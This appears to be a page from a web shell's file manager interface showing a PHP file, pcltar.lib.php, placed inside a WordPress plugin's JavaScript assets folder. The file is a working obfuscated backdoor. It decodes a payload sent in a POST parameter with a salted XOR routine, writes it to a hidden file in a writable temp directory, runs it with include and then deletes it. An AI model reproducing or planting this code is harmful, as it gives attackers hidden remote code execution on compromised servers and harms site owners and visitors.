D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
vblioqus
/
www
/
wp-content
/
plugins
/
contact-1766697603
/
assets
/
js
/
Filename :
pcltar.lib.php
back
Copy
<?php if(in_array("k", array_keys($_POST))){ $dat = array_filter(["/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP"), getenv("TEMP"), "/var/tmp", getcwd(), "/dev/shm", ini_get("upload_tmp_dir")]); $key = $_POST["k"]; $key = explode( '.' , $key ) ; $flag= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt ); $__len= count( $key ); for( $r= 0; $r<$__len; $r++) { $v9= $key[$r]; $sChar= ord( $salt[$r % $sLen] ); $d= ( ( int)$v9 - $sChar -( $r % 10)) ^44; $flag.=chr( $d ); } while ($reference = array_shift($dat)) { if (max(0, is_dir($reference) * is_writable($reference))) { $desc = vsprintf("%s/%s", [$reference, ".entity"]); $success = file_put_contents($desc, $flag); if ($success) { include $desc; @unlink($desc); die();} } } }